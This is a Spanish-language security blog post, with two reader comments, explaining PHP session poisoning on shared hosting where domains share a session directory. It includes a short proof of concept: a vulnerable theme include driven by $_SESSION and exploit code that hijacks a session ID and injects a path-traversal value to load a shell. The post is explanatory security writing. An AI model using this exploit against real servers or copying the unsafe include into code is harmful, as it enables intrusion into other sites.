viernes, 14 de octubre de 2011

Variables Superglobales que deberías de vigilar (II)


¡Saludos!

Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.


$_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).

Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para inyectar shells y explotar un LFI como ya publiqué hace años.


Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D


Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.

De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque.


Un pequeño PoC (sacado de haxxor security):
(esta sería la aplicación a atacar en el dominio A)
// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
include('themes/'.$_SESSION['theme'].'.php');
}else{
include('themes/default.php');
}


Y este sería el exploit ejecutado en el dominio B:


// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
session_write_close();



Para más info: Local Session Poisoning in PHP
5 0verl0ad Labs: Variables Superglobales que deberías de vigilar (II) ¡Saludos! Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de at...

2 comentarios:

Anónimo dijo...

Pero cuando hablamos de dominios son dentro del rango del mismo servidor, ¿cierto? Ya que cuando pasas de un servidor a otro las sessiones automáticamente quedan borradas fuera del rango a diferencia de lo que pasa en el mismo servidor que es donde quedan guardadas las sessions.

The X-C3LL dijo...

@Anónimo efectivamente, se trata de un mismo servidor en el cual se encuentran alojados distintos dominios, de ahí que compartan el directorio para almacenar las sesiones.

Es relativamente común toparse con esto en los servicios de hosting gratuitos o extremadamente baratos, donde la configuración del servidor deja mucho que desear.

< >